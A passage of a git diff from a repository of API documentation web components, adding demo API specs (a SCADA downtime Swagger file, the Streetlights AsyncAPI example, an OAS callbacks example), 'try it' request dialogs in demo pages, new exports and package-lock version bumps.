"in": "path", + "description": "The SMART API key of the site", + "required": true, + "type": "string" + }, + { + "name": "from", + "in": "query", + "description": "The inclusive start of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "to", + "in": "query", + "description": "The exclusive end of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/DowntimeEvent" + } + } + } + } + } + }, + "/api/v1/downtime/object/{scada-object-key}": { + "get": { + "tags": [ + "Downtime" + ], + "summary": "Get a list of downtime events for a SCADA object that overlap with a time period", + "operationId": "GetObject", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The SMART API key of the object", + "required": true, + "type": "string" + }, + { + "name": "from", + "in": "query", + "description": "The inclusive start of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "to", + "in": "query", + "description": "The exclusive end of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/DowntimeEvent" + } + } + } + } + } + }, + "/api/v1/downtime/{site-api-key}/type/{scada-object-type}": { + "get": { + "tags": [ + "Downtime" + ], + "summary": "Get a list of downtime events for all SCADA objects of a single type at one site that overlap with the selected time period", + "operationId": "GetType", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "site-api-key", + "in": "path", + "description": "The SMART API key of the site", + "required": true, + "type": "string" + }, + { + "name": "scada-object-type", + "in": "path", + "description": "The SCADA object type", + "required": true, + "type": "string" + }, + { + "name": "from", + "in": "query", + "description": "The inclusive start of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "to", + "in": "query", + "description": "The exclusive end of the time period. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/DowntimeEvent" + } + } + } + } + } + }, + "/api/v1/downtime": { + "put": { + "tags": [ + "Downtime" + ], + "summary": "Update a downtime event", + "operationId": "Put", + "consumes": [ + "application/json-patch+json", + "application/json", + "text/json", + "application/*+json" + ], + "produces": [], + "parameters": [ + { + "name": "downtimeEvent", + "in": "body", + "description": "The downtime event to update", + "required": false, + "schema": { + "$ref": "#/definitions/EditableDowntimeEvent" + } + } + ], + "responses": { + "200": { + "description": "Success" + } + } + }, + "post": { + "tags": [ + "Downtime" + ], + "summary": "Create a new downtime event", + "operationId": "Post", + "consumes": [ + "application/json-patch+json", + "application/json", + "text/json", + "application/*+json" + ], + "produces": [], + "parameters": [ + { + "name": "downtimeEvent", + "in": "body", + "description": "The new downtime event", + "required": false, + "schema": { + "$ref": "#/definitions/EditableDowntimeEvent" + } + } + ], + "responses": { + "200": { + "description": "Success" + } + } + } + }, + "/api/v1/downtime/revert/{scada-object-key}": { + "put": { + "tags": [ + "Downtime" + ], + "summary": "Revert changes to a previously split downtime event", + "operationId": "Revert", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The SMART API key of the downtime event's SCADA object", + "required": true, + "type": "string" + }, + { + "name": "time-on", + "in": "query", + "description": "The start time of the downtime event. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "$ref": "#/definitions/DowntimeEvent" + } + } + } + } + }, + "/api/v1/downtime/split/{scada-object-key}": { + "put": { + "tags": [ + "Downtime" + ], + "summary": "Split a downtime event", + "operationId": "Split", + "consumes": [], + "produces": [], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The SMART API key of the downtime event's SCADA object", + "required": true, + "type": "string" + }, + { + "name": "time-on", + "in": "query", + "description": "The start time of the downtime event. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "split-time", + "in": "query", + "description": "The time to split. A date without a time is converted to the start of the day", + "required": true, + "type": "string", + "format": "date-time" + } + ], + "responses": { + "200": { + "description": "Success" + } + } + } + }, + "/api/v1/downtime/copy/{scada-object-key}": { + "put": { + "tags": [ + "Downtime" + ], + "summary": "Copy the properties of a downtime event to a list of downtime events.", + "description": "The following properties are copied:\r\nAlarmGroup\r\nAlarmDefinition\r\nAvailabilityIndicator\r\nDescription", + "operationId": "Copy", + "consumes": [ + "application/json-patch+json", + "application/json", + "text/json", + "application/*+json" + ], + "produces": [], + "parameters": [ + { + "name": "scada-object-key", + "in": "path", + "description": "The SMART API key of the downtime event's SCADA object", + "required": true, + "type": "string" + }, + { + "name": "time-on", + "in": "query", + "description": "The start time of the downtime event", + "required": true, + "type": "string", + "format": "date-time" + }, + { + "name": "downtimeEvents", + "in": "body", + "description": "Create or update these downtime events", + "required": false, + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/DowntimeEventKey" + } + } + } + ], + "responses": { + "200": { + "description": "Success" + } + } + } + }, + "/api/v1/group": { + "get": { + "tags": [ + "Group" + ], + "summary": "Get a list of all alarm groups", + "operationId": "GetAlarmGroups", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/AlarmGroup" + } + } + } + } + } + }, + "/api/v1/object/{site-api-key}/{scada-object-type}": { + "get": { + "tags": [ + "Object" + ], + "summary": "Get a list of SCADA objects of a single type at one site that can have Downtimes", + "operationId": "GetObjects", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "site-api-key", + "in": "path", + "description": "The SMART API key of the site", + "required": true, + "type": "string" + }, + { + "name": "scada-object-type", + "in": "path", + "description": "The SCADA object type", + "required": true, + "type": "string" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/ScadaObject" + } + } + } + } + } + }, + "/api/v1/objecttype/{site-api-key}": { + "get": { + "tags": [ + "ObjectType" + ], + "summary": "Get a list of types of the SCADA objects at one site that can have Downtimes", + "operationId": "GetTypes", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [ + { + "name": "site-api-key", + "in": "path", + "description": "The SMART API key of the site", + "required": true, + "type": "string" + } + ], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "type": "string" + } + } + } + } + } + }, + "/api/v1/penalising-status": { + "get": { + "tags": [ + "PenalisingStatus" + ], + "summary": "Get a list of all penalising status", + "operationId": "GetPenalisingStatus", + "consumes": [], + "produces": [ + "text/plain", + "application/json", + "text/json" + ], + "parameters": [], + "responses": { + "200": { + "description": "Success", + "schema": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/AvailabilityIndicator" + } + } + } + } + } + } + }, + "definitions": { + "Alarm": { + "type": "object", + "properties": { + "timeOn": { + "format": "date-time", + "type": "string" + }, + "timeOff": { + "format": "date-time", + "type": "string" + }, + "description": { + "type": "string" + }, + "parameter1": { + "type": "string" + }, + "parameter2": { + "type": "string" + }, + "comment": { + "type": "string" + } + } + }, + "DowntimeEvent": { + "type": "object", + "properties": { + "alarmCode": { + "type": "string" + }, + "siteKey": { + "type": "string" + }, + "description": { + "type": "string" + }, + "lostProduction": { + "format": "double", + "type": "number" + }, + "meanWindSpeed": { + "format": "double", + "type": "number" + }, + "windSpeedDataCoverage": { + "format": "double", + "type": "number" + }, + "edited": { + "type": "boolean" + }, + "canBeReverted": { + "type": "boolean" + }, + "timeOff": { + "format": "date-time", + "type": "string" + }, + "comment": { + "type": "string" + }, + "subGroup": { + "type": "string" + }, + "group": { + "type": "string" + }, + "penalisingStatus": { + "type": "string" + }, + "scadaObjectName": { + "type": "string" + }, + "scadaObjectKey": { + "type": "string" + }, + "timeOn": { + "format": "date-time", + "type": "string" + } + } + }, + "EditableDowntimeEvent": { + "type": "object", + "properties": { + "timeOff": { + "format": "date-time", + "type": "string" + }, + "comment": { + "type": "string" + }, + "subGroup": { + "type": "string" + }, + "group": { + "type": "string" + }, + "penalisingStatus": { + "type": "string" + }, + "scadaObjectName": { + "type": "string" + }, + "scadaObjectKey": { + "type": "string" + }, + "timeOn": { + "format": "date-time", + "type": "string" + } + } + }, + "DowntimeEventKey": { + "type": "object", + "properties": { + "scadaObjectKey": { + "type": "string" + }, + "timeOn": { + "format": "date-time", + "type": "string" + } + } + }, + "AlarmGroup": { + "type": "object", + "properties": { + "turbineBudget": { + "type": "boolean" + }, + "windfarmBudget": { + "type": "boolean" + }, + "operationalAvailability": { + "type": "boolean" + }, + "name": { + "type": "string" + }, + "technology": { + "$ref": "#/definitions/SiteTechnology" + }, + "subGroups": { + "uniqueItems": false, + "type": "array", + "items": { + "$ref": "#/definitions/AlarmSubGroup" + } + } + } + }, + "SiteTechnology": { + "type": "object", + "properties": { + "name": { + "type": "string" + } + } + }, + "AlarmSubGroup": { + "type": "object", + "properties": { + "name": { + "type": "string" + } + } + }, + "ScadaObject": { + "type": "object", + "properties": { + "apiKey": { + "type": "string" + }, + "name": { + "type": "string" + } + } + }, + "AvailabilityIndicator": { + "type": "object", + "properties": { + "name": { + "type": "string" + } + } + } + } +} diff --git a/demo/Streetlights/Streetlights.yaml b/demo/Streetlights/Streetlights.yaml new file mode 100644 index 0000000..a28d4c0 --- /dev/null +++ b/demo/Streetlights/Streetlights.yaml @@ -0,0 +1,36 @@ +asyncapi: '2.0.0' +info: + title: Streetlights API + version: '1.0.0' + description: | + The Smartylighting Streetlights API allows you + to remotely manage the city lights. + license: + name: Apache 2.0 + url: 'https://www.apache.org/licenses/LICENSE-2.0' +servers: + mosquitto: + url: mqtt://test.mosquitto.org + protocol: mqtt +channels: + light/measured: + publish: + summary: Inform about environmental lighting conditions for a particular streetlight. + operationId: onLightMeasured + message: + name: LightMeasured + payload: + type: object + properties: + id: + type: integer + minimum: 0 + description: Id of the streetlight. + lumens: + type: integer + minimum: 0 + description: Light intensity measured in lumens. + sentAt: + type: string + format: date-time + description: Date and time when the message was sent. diff --git a/demo/api-channel.html b/demo/api-channel.html new file mode 100644 index 0000000..b0473c1 --- /dev/null +++ b/demo/api-channel.html @@ -0,0 +1,16 @@ + + + + + + + API Channel + + + + +
    + + + + diff --git a/demo/api-channel.js b/demo/api-channel.js new file mode 100644 index 0000000..46874b3 --- /dev/null +++ b/demo/api-channel.js @@ -0,0 +1,125 @@ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import '@advanced-rest-client/authorization/oauth2-authorization.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-channel-document.js'; + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'selectedId', 'selectedType', 'selectedOperation', + ]); + this.compatibility = false; + this.selectedId = undefined; + this.selectedType = undefined; + this.selectedOperation = undefined; + this.componentName = 'api-channel-document'; + this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; + } + + /** + * @param {CustomEvent} e + */ + _navChanged(e) { + const { selected, type, passive, endpointId } = e.detail; + if (passive) { + return; + } + if (type === 'endpoint') { + this.selectedId = selected; + this.selectedType = type; + this.selectedOperation = undefined; + } else if (type === 'method') { + this.selectedId = endpointId; + this.selectedType = 'endpoint'; + this.selectedOperation = selected; + } else { + this.selectedId = undefined; + this.selectedType = undefined; + this.selectedOperation = undefined; + } + } + + editorCloseHandler() { + this.editorOperation = undefined; + this.editorOpened = false; + } + + contentTemplate() { + return html` +

    API channel

    + ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
    +

    Interactive demo

    +

    + This demo lets you preview the API channel document with various configuration options. +

    + +
    + ${!loaded ? html`

    Load an API model first.

    ` : this.loadedTemplate()} +
    +
    + `; + } + + loadedTemplate() { + return html` + ${this.componentTemplate()} + `; + } + + componentTemplate() { + const { demoStates, darkThemeActive, selectedId, selectedOperation, amf } = this; + if (!selectedId) { + return html`

    Select API operation in the navigation

    `; + } + return html` + + + + + + + Render try it + + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['async-api', 'Demo API'], + ['Streetlights', 'Streetlights API'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label}`; + // ${label} + }); + return result; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/api-operation.js b/demo/api-operation.js index c1ee93f..87a09a8 100644 --- a/demo/api-operation.js +++ b/demo/api-operation.js @@ -1,6 +1,11 @@ import { html } from 'lit-html'; import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import '@anypoint-web-components/anypoint-dialog/anypoint-dialog.js'; +import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js'; +import '@api-components/api-request/api-request-panel.js'; +import '@api-components/api-request/xhr-simple-request.js'; +import '@advanced-rest-client/authorization/oauth2-authorization.js'; import { AmfDemoBase } from './lib/AmfDemoBase.js'; import '../api-operation-document.js'; @@ -8,11 +13,15 @@ class ComponentPage extends AmfDemoBase { constructor() { super(); this.initObservableProperties([ - 'selectedId', 'selectedType', + 'selectedId', 'selectedType', 'tryIt', + 'editorOpened', 'editorOperation', ]); this.selectedId = undefined; this.selectedType = undefined; + this.tryIt = true; + this.compatibility = false; this.componentName = 'api-operation-document'; + this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; } /** @@ -32,8 +41,24 @@ class ComponentPage extends AmfDemoBase { } } + /** + * @param {CustomEvent} e + */ + tryitHandler(e) { + const { id } = e.detail; + this.editorOperation = id; + this.editorOpened = true; + } + + editorCloseHandler() { + this.editorOperation = undefined; + this.editorOpened = false; + } + contentTemplate() { return html` + +

    API operation

    ${this.demoTemplate()} `; @@ -49,14 +74,21 @@ class ComponentPage extends AmfDemoBase {

    - ${!loaded ? html`

    Load an API model first.

    ` : this._componentTemplate()} + ${!loaded ? html`

    Load an API model first.

    ` : this.loadedTemplate()}
    `; } - _componentTemplate() { - const { demoStates, darkThemeActive, selectedId, amf } = this; + loadedTemplate() { + return html` + ${this.componentTemplate()} + ${this.requestEditorDialogTemplate()} + `; + } + + componentTemplate() { + const { demoStates, darkThemeActive, selectedId, amf, tryIt } = this; if (!selectedId) { return html`

    Select API operation in the navigation

    `; } @@ -70,6 +102,8 @@ class ComponentPage extends AmfDemoBase { .amf="${amf}" .domainId="${selectedId}" slot="content" + ?tryIt="${tryIt}" + @tryit="${this.tryitHandler}" > @@ -77,10 +111,10 @@ class ComponentPage extends AmfDemoBase { - Edit graph + Render try it `; @@ -104,13 +138,46 @@ class ComponentPage extends AmfDemoBase { ['oauth-pkce', 'OAuth 2 PKCE'], ['secured-unions', 'Secured unions'], ['secured-api', 'Secured API'], + ['SE-12957', 'SE-12957: OAS query parameters documentation'], + ['SE-12959', 'SE-12959: OAS summary field'], + ['SE-12752', 'SE-12752: Query string (SE-12752)'], + ['oas-callbacks', 'OAS 3 callbacks'], + ['APIC-553', 'APIC-553'], + ['APIC-560', 'APIC-560'], + ['APIC-582', 'APIC-582'], + ['APIC-650', 'APIC-650'], ].forEach(([file, label]) => { result[result.length] = html` - ${label} - compact model - ${label}`; + ${label} + `; + // ${label} }); return result; } + + requestEditorDialogTemplate() { + return html` + +

    API request

    + + + + +
    + Close +
    +
    + `; + } } const instance = new ComponentPage(); instance.render(); diff --git a/demo/api-resource.js b/demo/api-resource.js index be75eaf..cb04f82 100644 --- a/demo/api-resource.js +++ b/demo/api-resource.js @@ -1,18 +1,30 @@ import { html } from 'lit-html'; import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import '@anypoint-web-components/anypoint-dialog/anypoint-dialog.js'; +import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js'; +import '@api-components/api-request/api-request-panel.js'; +import '@api-components/api-request/xhr-simple-request.js'; +import '@advanced-rest-client/authorization/oauth2-authorization.js'; import { AmfDemoBase } from './lib/AmfDemoBase.js'; import '../api-resource-document.js'; class ComponentPage extends AmfDemoBase { constructor() { super(); - this.initObservableProperties([ 'selectedId', 'selectedType', 'selectedOperation' ]); - this.edit = true; + this.initObservableProperties([ + 'selectedId', 'selectedType', 'selectedOperation', 'tryIt', + 'editorOpened', 'editorOperation', + ]); + this.compatibility = false; + this.editorOpened = false; + this.editorOperation = undefined; this.selectedId = undefined; this.selectedType = undefined; this.selectedOperation = undefined; + this.tryIt = true; this.componentName = 'api-endpoint-document'; + this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; } /** @@ -38,8 +50,24 @@ class ComponentPage extends AmfDemoBase { } } + /** + * @param {CustomEvent} e + */ + tryitHandler(e) { + const { id } = e.detail; + this.editorOperation = id; + this.editorOpened = true; + } + + editorCloseHandler() { + this.editorOperation = undefined; + this.editorOpened = false; + } + contentTemplate() { return html` + +

    API endpoint

    ${this.demoTemplate()} `; @@ -55,14 +83,21 @@ class ComponentPage extends AmfDemoBase {

    - ${!loaded ? html`

    Load an API model first.

    ` : this._componentTemplate()} + ${!loaded ? html`

    Load an API model first.

    ` : this.loadedTemplate()}
    `; } - _componentTemplate() { - const { demoStates, darkThemeActive, selectedId, selectedOperation, amf } = this; + loadedTemplate() { + return html` + ${this.componentTemplate()} + ${this.requestEditorDialogTemplate()} + `; + } + + componentTemplate() { + const { demoStates, darkThemeActive, selectedId, selectedOperation, amf, tryIt } = this; if (!selectedId) { return html`

    Select API operation in the navigation

    `; } @@ -76,7 +111,9 @@ class ComponentPage extends AmfDemoBase { .amf="${amf}" .domainId="${selectedId}" .operationId="${selectedOperation}" + ?tryIt="${tryIt}" slot="content" + @tryit="${this.tryitHandler}" > @@ -84,10 +121,11 @@ class ComponentPage extends AmfDemoBase { - Edit graph + Render try it `; @@ -111,13 +149,45 @@ class ComponentPage extends AmfDemoBase { ['oauth-pkce', 'OAuth 2 PKCE'], ['secured-unions', 'Secured unions'], ['secured-api', 'Secured API'], + ['SE-12957', 'SE-12957: OAS query parameters documentation'], + ['SE-12959', 'SE-12959: OAS summary field'], + ['SE-12752', 'SE-12752: Query string (SE-12752)'], + ['oas-callbacks', 'OAS 3 callbacks'], + ['APIC-553', 'APIC-553'], + ['APIC-560', 'APIC-560'], + ['APIC-582', 'APIC-582'], + ['APIC-650', 'APIC-650'], ].forEach(([file, label]) => { result[result.length] = html` - ${label} - compact model - ${label}`; + ${label}`; + // ${label} }); return result; } + + requestEditorDialogTemplate() { + return html` + +

    API request

    + + + + +
    + Close +
    +
    + `; + } } const instance = new ComponentPage(); instance.render(); diff --git a/demo/demo.css b/demo/demo.css index 16c8f91..40347a7 100644 --- a/demo/demo.css +++ b/demo/demo.css @@ -15,6 +15,10 @@ body [role="main"].centered { margin-right: 24px; } +.request-dialog { + width: 90%; +} + [slot="content"] { flex: 1; align-self: start; diff --git a/demo/index.html b/demo/index.html index 2ff59cf..6951755 100644 --- a/demo/index.html +++ b/demo/index.html @@ -16,7 +16,9 @@

    Documentation viewers

    Api Operation
    A documentation viewer for an API operation. Works with both HTTP and Async APIs.
    Api endpoint
    -
    A documentation viewer for an API endpoint. Works with both HTTP and Async APIs.
    +
    A documentation viewer for an API endpoint. Works with HTTP APIs.
    +
    Api channel
    +
    A documentation viewer for an API channel. Works with Async APIs.
    Api documentation
    A documentation viewer for an API Documentation.
    Api schema documentation
    diff --git a/demo/model.mjs b/demo/model.mjs index 7c9bbd8..6d51ac1 100644 --- a/demo/model.mjs +++ b/demo/model.mjs @@ -21,6 +21,7 @@ config.set('SE-11415/SE-11415.raml', { type: "RAML 1.0" }); config.set('APIC-390/APIC-390.raml', { type: "RAML 1.0" }); config.set('multi-server/multi-server.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); config.set('async-api/async-api.yaml', { type: "ASYNC 2.0" }); +config.set('Streetlights/Streetlights.yaml', { type: "ASYNC 2.0" }); config.set('APIC-711/APIC-711.raml', { type: "RAML 1.0" }); config.set('api-keys/api-keys.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); config.set('oauth-flows/oauth-flows.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); @@ -28,5 +29,13 @@ config.set('oas-bearer/oas-bearer.yaml', { type: "OAS 3.0", mime: 'application/y config.set('oauth-pkce/oauth-pkce.raml', { type: "RAML 1.0" }); config.set('secured-unions/secured-unions.yaml', { type: "OAS 3.0" }); config.set('secured-api/secured-api.raml', { type: "RAML 1.0" }); +config.set('APIC-553/APIC-553.raml', { type: "RAML 1.0" }); +config.set('APIC-560/APIC-560.yaml', { type: "ASYNC 2.0" }); +config.set('APIC-582/APIC-582.yaml', { type: "ASYNC 2.0" }); +config.set('APIC-650/APIC-650.yaml', { type: "OAS 3.0" }); +config.set('SE-12957/SE-12957.json', { type: "OAS 2.0", mime: 'application/json' }); +config.set('SE-12959/SE-12959.json', { type: "OAS 2.0", mime: 'application/json' }); +config.set('SE-12752/SE-12752.raml', { type: "RAML 1.0" }); +config.set('oas-callbacks/oas-callbacks.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); generator.generate(config); diff --git a/demo/oas-callbacks/oas-callbacks.yaml b/demo/oas-callbacks/oas-callbacks.yaml new file mode 100644 index 0000000..ed41dae --- /dev/null +++ b/demo/oas-callbacks/oas-callbacks.yaml @@ -0,0 +1,150 @@ +openapi: 3.0.0 + +info: + version: 1.0.0 + title: OAS Bearer auth API + +servers: + - url: https://{customerId}.saas-app.com:{port}/v2 + variables: + customerId: + default: demo + description: Customer ID assigned by the service provider + port: + enum: + - '443' + - '8443' + default: '443' + +components: + requestBodies: + callbackMessage1: + description: Callback message `1` + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/Clb1' + callbackMessage2: + description: Callback message `2` + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/Clb2' + callbackMessage3: + description: Callback message `3` + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/Clb3' + schemas: + Clb1: + title: Event 1 + type: object + properties: + text: + type: string + description: Message text + Clb2: + title: Event 2 + type: object + properties: + productId: + type: string + description: Order product id + Clb3: + title: Event 3 + type: object + properties: + eventId: + type: string + description: Event internal ID + triggerAuthor: + type: string + description: A person triggered the event + paymentRequest: + title: Payment + type: object + properties: + token: + type: string + description: Payment token generated for this request + amount: + type: number + description: The payment amount. +paths: + /subscribe: + post: + operationId: subscribeOperation + requestBody: + content: + application/json: + schema: + type: object + properties: + inProgressUrl: + type: string + failedUrl: + type: string + successUrl: + type: string + responses: + '200': + description: OK + links: + unsubscribeOp: + operationId: unsubscribeOperation + parameters: + Id: $response.body#/subscriberId + otherOp: + parameters: + one: $response.body#/one + two: $response.body#/two + 402: + description: Not OK. Payment is required + content: + application/json: + schema: + $ref: '#/components/schemas/paymentRequest' + links: + paymentUrl: + parameters: + paymentUrl: $response.body#/info.paymentUri + paymentToken: $response.body#/info.token + callbacks: + inProgress: + '{$request.body#/inProgressUrl}': + post: + requestBody: + $ref: '#/components/requestBodies/callbackMessage1' + responses: + '200': + description: OK + '{$request.body#/failedUrl}': + post: + requestBody: + $ref: '#/components/requestBodies/callbackMessage2' + responses: + '200': + description: OK + '{$request.body#/successUrl}': + post: + requestBody: + $ref: '#/components/requestBodies/callbackMessage3' + responses: + '200': + description: OK + /unsubscribe: + post: + operationId: unsubscribeOperation + parameters: + - in: query + name: Id + required: true + schema: + type: string + responses: + '200': + description: OK diff --git a/index.d.ts b/index.d.ts index a8937e1..f043d67 100644 --- a/index.d.ts +++ b/index.d.ts @@ -6,4 +6,5 @@ export { default as ApiResourceDocumentationElement } from './src/elements/ApiRe export { default as ApiResponseDocumentElement } from './src/elements/ApiResponseDocumentElement'; export { default as ApiSchemaDocumentElement } from './src/elements/ApiSchemaDocumentElement'; export { default as ApiDocumentationDocumentElement } from './src/elements/ApiDocumentationDocumentElement'; +export { default as ApiChannelDocumentationElement } from './src/elements/ApiChannelDocumentationElement'; export * as Utils from './src/lib/Utils'; diff --git a/index.js b/index.js index 39e1f8c..aa8d5f3 100644 --- a/index.js +++ b/index.js @@ -6,4 +6,5 @@ export { default as ApiResourceDocumentationElement } from './src/elements/ApiRe export { default as ApiResponseDocumentElement } from './src/elements/ApiResponseDocumentElement.js'; export { default as ApiSchemaDocumentElement } from './src/elements/ApiSchemaDocumentElement.js'; export { default as ApiDocumentationDocumentElement } from './src/elements/ApiDocumentationDocumentElement.js'; +export { default as ApiChannelDocumentationElement } from './src/elements/ApiChannelDocumentationElement.js'; export * as Utils from './src/lib/Utils.js'; diff --git a/package-lock.json b/package-lock.json index 37b55b9..ea8202f 100644 --- a/package-lock.json +++ b/package-lock.json @@ -439,15 +439,15 @@ } }, "@anypoint-web-components/anypoint-dialog": { - "version": "0.1.9", - "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-dialog/-/anypoint-dialog-0.1.9.tgz", - "integrity": "sha512-wFouJSZ0K+n86SpZHBxEx8Lzo3I91LAoXH7JwiTJacsSdYq9VBHmo99yU9Hs45JFxPZFH7LlEdl2wR80RU9Rzg==", + "version": "0.1.10", + "resolved": "https://registry.npmjs.org/@anypoint-web-components/anypoint-dialog/-/anypoint-dialog-0.1.10.tgz", + "integrity": "sha512-AwAmndgYOxJNKeBlL0NunqAOyiEeJqfi/+CnZo/6WpAAAlMFqd0TQ110UCM78ZYx8AMSpE6CeYa+3ZTra8axDw==", "dev": true, "requires": { "@advanced-rest-client/arc-overlay-mixin": "^1.2.0", "@open-wc/dedupe-mixin": "^1.3.0", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" + "lit-element": "^2.5.1", + "lit-html": "^1.4.1" } }, "@anypoint-web-components/anypoint-dropdown": { @@ -642,9 +642,9 @@ } }, "@api-components/amf-helper-mixin": { - "version": "4.5.4", - "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.4.tgz", - "integrity": "sha512-puEsYn2FG3DmxStkqWt43dlBqruKjli33BDyUSJbkAh3UW9Z4lDvKBMjLvHN1m9DN5seBZlxnz/UykVq2s3TgQ==", + "version": "4.5.6", + "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.6.tgz", + "integrity": "sha512-gxdfjuQhNkcfmyWoyqE/rIgcBXYIQ982TjtH0zMxYV0vnEOj4swITnKLy1znuS4Z6obRIAoBD5OhJluGcNOW7A==", "requires": { "amf-json-ld-lib": "0.0.14" } @@ -676,12 +676,12 @@ } }, "@api-components/api-request": { - "version": "0.3.0-beta.1", - "resolved": "https://registry.npmjs.org/@api-components/api-request/-/api-request-0.3.0-beta.1.tgz", - "integrity": "sha512-a4AoPP1L9tA9itKesp/FrgPge+ujUVcngIb4cPGQygLU/zj+hmih29yv1TrRg/8kq2WqQ51CRDhyzrQ2d6ro9g==", + "version": "0.3.0-beta.3", + "resolved": "https://registry.npmjs.org/@api-components/api-request/-/api-request-0.3.0-beta.3.tgz", + "integrity": "sha512-BawQ9YLgsoynbJvMq0mt65aOCqp53+iY34FiRBtABe5umgEYr7Tylq9JeuWjyrNWnz5nRrgpUrUlPDDAfOEwjQ==", "dev": true, "requires": { - "@advanced-rest-client/arc-events": "^0.2.13", + "@advanced-rest-client/arc-events": "^0.2.21", "@advanced-rest-client/arc-headers": "^0.1.7", "@advanced-rest-client/arc-icons": "^3.3.4", "@advanced-rest-client/arc-response": "^0.3.3", @@ -701,7 +701,7 @@ "@anypoint-web-components/anypoint-radio-button": "^0.1.6", "@anypoint-web-components/anypoint-switch": "^0.1.10", "@api-components/amf-helper-mixin": "^4.5.4", - "@api-components/api-schema": "^0.1.1", + "@api-components/api-schema": "^0.1.2", "@api-components/api-server-selector": "^0.7.1", "@open-wc/dedupe-mixin": "^1.3.0", "lit-element": "^2.4.0", @@ -709,9 +709,9 @@ } }, "@api-components/api-schema": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/@api-components/api-schema/-/api-schema-0.1.1.tgz", - "integrity": "sha512-5AjTMXd7xligIfXPzQolSFd4xXMZBhAhGBMLzGK6Sm+CMwP4aXAXT6C2pO3BZdnj/Ma8uc/d/fwtmBMKCA1xoQ==", + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/@api-components/api-schema/-/api-schema-0.1.2.tgz", + "integrity": "sha512-eLOsbTlYt+0pE8pPA2pRBc5AjNsOSATIvmM4uFlpFVXueInVBao4MeHH8/5mhFJM6cr4UG13Vlxy02xPI6cmmA==", "requires": { "@api-components/amf-helper-mixin": "^4.5.4", "@pawel-up/data-mock": "^0.1.7" @@ -832,16 +832,16 @@ } }, "@commitlint/cli": { - "version": "13.1.0", - "resolved": "https://registry.npmjs.org/@commitlint/cli/-/cli-13.1.0.tgz", - "integrity": "sha512-xN/uNYWtGTva5OMSd+xA6e6/c2jk8av7MUbdd6w2cw89u6z3fAWoyiH87X0ewdSMNYmW/6B3L/2dIVGHRDID5w==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/cli/-/cli-13.2.0.tgz", + "integrity": 